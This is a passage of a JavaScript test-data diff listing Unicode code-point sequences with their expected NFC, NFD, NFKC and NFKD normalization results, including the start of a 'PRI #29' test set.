+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E2EC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E2EC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E2EC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E2EC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E2EC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E2EC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E2EC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E2EC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E2EC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E2EC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E2ED, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E2ED, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E2ED, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E2ED, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E2ED, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E2ED, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E2ED, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E2ED, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E2ED, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E2ED, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E2EE, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E2EE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E2EE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E2EE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E2EE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E2EE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E2EE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E2EE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E2EE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E2EE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E2EF, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E2EF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E2EF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E2EF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E2EF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E2EF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E2EF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E2EF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E2EF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E2EF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x035C, 0x0315, 0x0300, 0x1E4EC, 0x0062], NFC: [0x00E0, 0x0315, 0x1E4EC, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x1E4EC, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x1E4EC, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x1E4EC, 0x035C, 0x0062] },
+{ source: [0x0061, 0x1E4EC, 0x035C, 0x0315, 0x0300, 0x0062], NFC: [0x00E0, 0x1E4EC, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x1E4EC, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x1E4EC, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x1E4EC, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x035C, 0x0315, 0x0300, 0x1E4ED, 0x0062], NFC: [0x00E0, 0x0315, 0x1E4ED, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x1E4ED, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x1E4ED, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x1E4ED, 0x035C, 0x0062] },
+{ source: [0x0061, 0x1E4ED, 0x035C, 0x0315, 0x0300, 0x0062], NFC: [0x00E0, 0x1E4ED, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x1E4ED, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x1E4ED, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x1E4ED, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1E4EE, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1E4EE, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1E4EE, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1E4EE, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1E4EE, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E4EE, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1E4EE, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1E4EE, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1E4EE, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1E4EE, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E4EF, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E4EF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E4EF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E4EF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E4EF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E4EF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E4EF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E4EF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E4EF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E4EF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1E8D0, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1E8D0, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1E8D0, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1E8D0, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1E8D0, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D0, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1E8D0, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1E8D0, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1E8D0, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1E8D0, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1E8D1, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1E8D1, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1E8D1, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1E8D1, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1E8D1, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D1, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1E8D1, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1E8D1, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1E8D1, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1E8D1, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1E8D2, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1E8D2, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1E8D2, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1E8D2, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1E8D2, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D2, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1E8D2, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1E8D2, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1E8D2, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1E8D2, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1E8D3, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1E8D3, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1E8D3, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1E8D3, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1E8D3, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D3, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1E8D3, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1E8D3, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1E8D3, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1E8D3, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1E8D4, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1E8D4, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1E8D4, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1E8D4, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1E8D4, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D4, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1E8D4, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1E8D4, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1E8D4, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1E8D4, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1E8D5, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1E8D5, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1E8D5, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1E8D5, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1E8D5, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D5, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1E8D5, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1E8D5, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1E8D5, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1E8D5, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1E8D6, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1E8D6, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1E8D6, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1E8D6, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1E8D6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D6, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1E8D6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1E8D6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1E8D6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1E8D6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E944, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E944, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E944, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E944, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E944, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E944, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E944, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E944, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E944, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E944, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E945, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E945, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E945, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E945, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E945, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E945, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E945, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E945, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E945, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E945, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E946, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E946, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E946, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E946, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E946, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E946, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E946, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E946, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E946, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E946, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E947, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E947, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E947, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E947, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E947, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E947, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E947, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E947, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E947, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E947, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E948, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E948, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E948, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E948, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E948, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E948, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E948, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E948, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E948, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E948, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E949, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E949, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E949, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E949, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E949, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E949, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E949, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E949, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E949, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E949, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x1E94A, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x1E94A, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x1E94A, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x1E94A, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x1E94A, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1E94A, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x1E94A, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x1E94A, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x1E94A, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x1E94A, 0x093C, 0x3099, 0x0062] }
+];
+/* Part3 # PRI #29 Test */
+var tests_part3 = [
+{ source: [0x09C7, 0x0334, 0x09BE], NFC: [0x09C7, 0x0334, 0x09BE], NFD: [0x09C7, 0x0334, 0x09BE], NFKC: [0x09C7, 0x0334, 0x09BE], NFKD: [0x09C7, 0x0334, 0x09BE] },
+{ source: [0x09C7, 0x0334, 0x09D7], NFC: [0x09C7, 0x0334, 0x09D7], NFD: [0x09C7, 0x0334, 0x09D7], NFKC: [0x09C7, 0x0334, 0x09D7], NFKD: [0x09C7, 0x0334, 0x09D7] },
+{ source: [0x0B47, 0x0334, 0x0B3E], NFC: [0x0B47, 0x0334, 0x0B3E], NFD: [0x0B47, 0x0334, 0x0B3E], NFKC: [0x0B47, 0x0334, 0x0B3E], NFKD: [0x0B47, 0x0334, 0x0B3E] },
+{ source: [0x0B47, 0x0334, 0x0B56], NFC: [0x0B47, 0x0334, 0x0B56], NFD: [0x0B47, 0x0334, 0x0B56], NFKC: [0x0B47, 0x0334, 0x0B56], NFKD: [0x0B47, 0x0334, 0x0B56] },
+{ source: [0x0B47, 0x0334, 0x0B57], NFC: [0x0B47, 0x0334, 0x0B57], NFD: [0x0B47, 0x0334, 0x0B57], NFKC: [0x0B47, 0x0334, 0x0B57], NFKD: [0x0B47, 0x0334, 0x0B57] },
+{ source: [0x0B92, 0x0334, 0x0BD7], NFC: [0x0B92, 0x0334, 0x0BD7], NFD: [0x0B92, 0x0334, 0x0BD7], NFKC: [0x0B92, 0x0334, 0x0BD7], NFKD: [0x0B92, 0x0334, 0x0BD7] },
+{ source: [0x0BC6, 0x0334, 0x0BBE], NFC: [0x0BC6, 0x0334, 0x0BBE], NFD: [0x0BC6, 0x0334, 0x0BBE], NFKC: [0x0BC6, 0x0334, 0x0BBE], NFKD: [0x0BC6, 0x0334, 0x0BBE] },
+{ source: [0x0BC6, 0x0334, 0x0BD7], NFC: [0x0BC6, 0x0334, 0x0BD7], NFD: [0x0BC6, 0x0334, 0x0BD7], NFKC: [0x0BC6, 0x0334, 0x0BD7], NFKD: [0x0BC6, 0x0334, 0x0BD7] },
+{ source: [0x0BC7, 0x0334, 0x0BBE], NFC: [0x0BC7, 0x0334, 0x0BBE], NFD: [0x0BC7, 0x0334, 0x0BBE], NFKC: [0x0BC7, 0x0334, 0x0BBE], NFKD: [0x0BC7, 0x0334, 0x0BBE] },
+{ source: [0x0CBF, 0x0334, 0x0CD5], NFC: [0x0CBF, 0x0334, 0x0CD5], NFD: [0x0CBF, 0x0334, 0x0CD5], NFKC: [0x0CBF, 0x0334, 0x0CD5], NFKD: [0x0CBF, 0x0334, 0x0CD5] },
+{ source: [0x0CC6, 0x0334, 0x0CC2], NFC: [0x0CC6, 0x0334, 0x0CC2], NFD: [0x0CC6, 0x0334, 0x0CC2], NFKC: [0x0CC6, 0x0334, 0x0CC2], NFKD: [0x0CC6, 0x0334, 0x0CC2] },
+{ source: [0x0CC6, 0x0334, 0x0CD5], NFC: [0x0CC6, 0x0334, 0x0CD5], NFD: [0x0CC6, 0x0334, 0x0CD5], NFKC: [0x0CC6, 0x0334, 0x0CD5], NFKD: [0x0CC6, 0x0334, 0x0CD5] },
+{ source: [0x0CC6, 0x0334, 0x0CD6], NFC: [0x0CC6, 0x0334, 0x0CD6], NFD: [0x0CC6, 0x0334, 0x0CD6], NFKC: [0x0CC6, 0x0334, 0x0CD6], NFKD: [0x0CC6, 0x0334, 0x0CD6] },
+{ source: [0x0CCA, 0x0334, 0x0CD5], NFC: [0x0CCA, 0x0334, 0x0CD5], NFD: [0x0CC6, 0x0CC2, 0x0334, 0x0CD5], NFKC: [0x0CCA, 0x0334, 0x0CD5], NFKD: [0x0CC6, 0x0CC2, 0x0334, 0x0CD5] },
+{ source: [0x0D46, 0x0334, 0x0D3E], NFC: [0x0D46, 0x0334, 0x0D3E], NFD: [0x0D46, 0x0334, 0x0D3E], NFKC: [0x0D46, 0x0334, 0x0D3E], NFKD: [0x0D46, 0x0334, 0x0D3E] },
+{ source: [0x0D46, 0x0334, 0x0D57], NFC: [0x0D46, 0x0334, 0x0D57], NFD: [0x0D46, 0x0334, 0x0D57], NFKC: [0x0D46, 0x0334, 0x0D57], NFKD: [0x0D46, 0x0334, 0x0D57] },
+{ source: [0x0D47, 0x0334, 0x0D3E], NFC: [0x0D47, 0x0334, 0x0D3E], NFD: [0x0D47, 0x0334, 0x0D3E], NFKC: [0x0D47, 0x0334, 0x0D3E], NFKD: [0x0D47, 0x0334, 0x0D3E] },
+{ source: [0x0DD9, 0x0334, 0x0DCF], NFC: [0x0DD9, 0x0334, 0x0DCF], NFD: [0x0DD9, 0x0334, 0x0DCF], NFKC: [0x0DD9, 0x0334, 0x0DCF], NFKD: [0x0DD9, 0x0334, 0x0DCF] },
+{ source: [0x0DD9, 0x0334, 0x0DDF], NFC: [0x0DD9, 0x0334, 0x0DDF], NFD: [0x0DD9, 0x0334, 0x0DDF], NFKC: [0x0DD9, 0x0334, 0x0DDF], NFKD: [0x0DD9, 0x0334, 0x0DDF] },
+{ source: [0x0F40, 0x0334, 0x0FB5], NFC: [0x0F40, 0x0334, 0x0FB5], NFD: [0x0F40, 0x0334, 0x0FB5], NFKC: [0x0F40, 0x0334, 0x0FB5], NFKD: [0x0F40, 0x0334, 0x0FB5] },
+{ source: [0x0F42, 0x0334, 0x0FB7], NFC: [0x0F42, 0x0334, 0x0FB7], NFD: [0x0F42, 0x0334, 0x0FB7], NFKC: [0x0F42, 0x0334, 0x0FB7], NFKD: [0x0F42, 0x0334, 0x0FB7] },
+{ source: [0x0F4C, 0x0334, 0x0FB7], NFC: [0x0F4C, 0x0334, 0x0FB7], NFD: [0x0F4C, 0x0334, 0x0FB7], NFKC: [0x0F4C, 0x0334, 0x0FB7], NFKD: [0x0F4C, 0x0334, 0x0FB7] },
+{ source: [0x0F51, 0x0334, 0x0FB7], NFC: [0x0F51, 0x0334, 0x0FB7], NFD: [0x0F51, 0x0334, 0x0FB7], NFKC: [0x0F51, 0x0334, 0x0FB7], NFKD: [0x0F51, 0x0334, 0x0FB7] },
+{ source: [0x0F56, 0x0334, 0x0FB7], NFC: [0x0F56, 0x0334, 0x0FB7], NFD: [0x0F56, 0x0334, 0x0FB7], NFKC: [0x0F56, 0x0334, 0x0FB7], NFKD: [0x0F56, 0x0334, 0x0FB7] },
+{ source: [0x0F5B, 0x0334, 0x0FB7], NFC: [0x0F5B, 0x0334, 0x0FB7], NFD: [0x0F5B, 0x0334, 0x0FB7], NFKC: [0x0F5B, 0x0334, 0x0FB7], NFKD: [0x0F5B, 0x0334, 0x0FB7] },
+{ source: [0x0F90, 0x0334, 0x0FB5], NFC: [0x0F90, 0x0334, 0x0FB5], NFD: [0x0F90, 0x0334, 0x0FB5], NFKC: [0x0F90, 0x0334, 0x0FB5], NFKD: [0x0F90, 0x0334, 0x0FB5] },
+{ source: [0x0F92, 0x0334, 0x0FB7], NFC: [0x0F92, 0x0334, 0x0FB7], NFD: [0x0F92, 0x0334, 0x0FB7], NFKC: [0x0F92, 0x0334, 0x0FB7], NFKD: [0x0F92, 0x0334, 0x0FB7] },
+{ source: [0x0F9C, 0x0334, 0x0FB7], NFC: [0x0F9C, 0x0334, 0x0FB7], NFD: [0x0F9C, 0x0334, 0x0FB7], NFKC: [0x0F9C, 0x0334, 0x0FB7], NFKD: [0x0F9C, 0x0334, 0x0FB7] },
+{ source: [0x0FA1, 0x0334, 0x0FB7], NFC: [0x0FA1, 0x0334, 0x0FB7], NFD: [0x0FA1, 0x0334, 0x0FB7], NFKC: [0x0FA1, 0x0334, 0x0FB7], NFKD: [0x0FA1, 0x0334, 0x0FB7] },
+{ source: [0x0FA6, 0x0334, 0x0FB7], NFC: [0x0FA6, 0x0334, 0x0FB7], NFD: [0x0FA6, 0x0334, 0x0FB7], NFKC: [0x0FA6, 0x0334, 0x0FB7], NFKD: [0x0FA6, 0x0334, 0x0FB7] },
+{ source: [0x0FAB, 0x0334, 0x0FB7], NFC: [0x0FAB, 0x0334, 0x0FB7], NFD: [0x0FAB, 0x0334, 0x0FB7], NFKC: [0x0FAB, 0x0334, 0x0FB7], NFKD: [0x0FAB, 0x0334, 0x0FB7] },
+{ source: [0x1025, 0x0334, 0x102E], NFC: [0x1025, 0x0334, 0x102E], NFD: [0x1025, 0x0334, 0x102E], NFKC: [0x1025, 0x0334, 0x102E], NFKD: [0x1025, 0x0334, 0x102E] },
+{ source: [0x1100, 0x0334, 0x1161], NFC: [0x1100, 0x0334, 0x1161], NFD: [0x1100, 0x0334, 0x1161], NFKC: [0x1100, 0x0334, 0x1161], NFKD: [0x1100, 0x0334, 0x1161] },
+{ source: [0x1100, 0x0334, 0x116E], NFC: [0x1100, 0x0334, 0x116E], NFD: [0x1100, 0x0334, 0x116E], NFKC: [0x1100, 0x0334, 0x116E], NFKD: [0x1100, 0x0334, 0x116E] },
+{ source: [0x1101, 0x0334, 0x1166], NFC: [0x1101, 0x0334, 0x1166], NFD: [0x1101, 0x0334, 0x1166], NFKC: [0x1101, 0x0334, 0x1166], NFKD: [0x1101, 0x0334, 0x1166] },
+{ source: [0x1101, 0x0334, 0x1173], NFC: [0x1101, 0x0334, 0x1173], NFD: [0x1101, 0x0334, 0x1173], NFKC: [0x1101, 0x0334, 0x1173], NFKD: [0x1101, 0x0334, 0x1173] },
+{ source: [0x1102, 0x0334, 0x116B], NFC: [0x1102, 0x0334, 0x116B], NFD: [0x1102, 0x0334, 0x116B], NFKC: [0x1102, 0x0334, 0x116B], NFKD: [0x1102, 0x0334, 0x116B] },
+{ source: [0x1103, 0x0334, 0x1163], NFC: [0x1103, 0x0334, 0x1163], NFD: [0x1103, 0x0334, 0x1163], NFKC: [0x1103, 0x0334, 0x1163], NFKD: [0x1103, 0x0334, 0x1163] },
+{ source: [0x1103, 0x0334, 0x1170], NFC: [0x1103, 0x0334, 0x1170], NFD: [0x1103, 0x0334, 0x1170], NFKC: [0x1103, 0x0334, 0x1170], NFKD: [0x1103, 0x0334, 0x1170] },
+{ source: [0x1104, 0x0334, 0x1168], NFC: [0x1104, 0x0334, 0x1168], NFD: [0x1104, 0x0334, 0x1168], NFKC: [0x1104, 0x0334, 0x1168], NFKD: [0x1104, 0x0334, 0x1168] },
+{ source: [0x1104, 0x0334, 0x1175], NFC: [0x1104, 0x0334, 0x1175], NFD: [0x1104, 0x0334, 0x1175], NFKC: [0x1104, 0x0334, 0x1175], NFKD: [0x1104, 0x0334, 0x1175] },
